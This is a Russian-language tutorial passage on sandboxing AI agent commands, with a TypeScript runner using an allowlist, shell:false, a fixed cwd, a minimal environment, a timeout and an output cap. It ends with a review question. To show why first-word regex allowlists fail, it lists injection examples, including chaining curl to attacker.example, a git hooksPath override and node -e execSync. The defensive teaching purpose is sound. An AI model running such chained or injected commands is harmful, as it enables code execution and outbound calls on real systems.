Запускайте команды как данные, а не как shell-текст
Команда агента - недоверенное предложение. Безопасный runner проверяет точный executable и argv, фиксирует cwd, очищает environment, не включает shell, ограничивает время и объём вывода. В companion-проекте это policy плюс аккуратный spawn.
export async function runCommand(rootInput: string, command: CommandSpec, policy: CommandPolicy): Promise<CommandResult> {
if (!policy.allowedCommandKeys.has(commandKey(command))) {
throw new Error(`Command is not allowlisted: ${command.label}`);
}
if (policy.timeoutMs < 1 || policy.maxOutputBytes < 1) {
throw new Error("Command limits must be positive");
}
const root = await canonicalRoot(rootInput);
const environment = buildEnvironment(policy.inheritedEnvironment);
return new Promise<CommandResult>((resolvePromise, rejectPromise) => {
const child = spawn(command.file, [...command.args], {
cwd: root,
env: environment,
shell: false,
stdio: ["ignore", "pipe", "pipe"],
windowsHide: true
});
let stdout = "";
let stderr = "";
let observedBytes = 0;
let timedOut = false;
let outputLimited = false;
let settled = false;
const terminateForLimit = (): void => {
if (!outputLimited) {
outputLimited = true;
child.kill("SIGTERM");
}
};
const append = (target: "stdout" | "stderr", chunk: Buffer): void => {
observedBytes += chunk.byteLength;
if (observedBytes > policy.maxOutputBytes) {
terminateForLimit();
return;
}
if (target === "stdout") {
stdout += chunk.toString("utf8");
} else {
stderr += chunk.toString("utf8");
}
};
child.stdout.on("data", (chunk: Buffer) => append("stdout", chunk));
child.stderr.on("data", (chunk: Buffer) => append("stderr", chunk));
const timeout = setTimeout(() => {
timedOut = true;
child.kill("SIGTERM");
}, policy.timeoutMs);
timeout.unref();За кодом стоят семь контролей: exact allowlist (сравнивать executable и каждый argument, а не первое слово), shell: false (метасимволы не превращают данные в команду), contained cwd, minimal env, timeout, output cap и structured result (argv, exit code, signal, timeout, признаки truncation).
Почему regex-allowlist недостаточен - видно на одной строке, скрывающей несколько языков.
npm test -- --filter auth
npm test && curl https://attacker.example
git -c core.hooksPath=/tmp/x status
node -e "require('child_process').execSync(...)"Даже безопасное первое слово может получить опасные flags или код в аргументе. Для полностью автономного workflow лучше разрешать несколько заранее известных command specs; если нужна гибкость - поднимайте запрос на approval и показывайте точный argv.
Terminate не всегда завершает дерево. Поведение signals и process groups зависит от платформы. Production-runner должен иметь платформенные integration tests и стратегию cleanup дочерних процессов. Companion-проект показывает базовые limits, а не универсальный process supervisor.
Команды под контролем. Но контроль запуска - лишь один слой; рядом стоят sandbox, approvals и секреты, и путать их нельзя.
Почему regex-allowlist по первому слову команды недостаточен?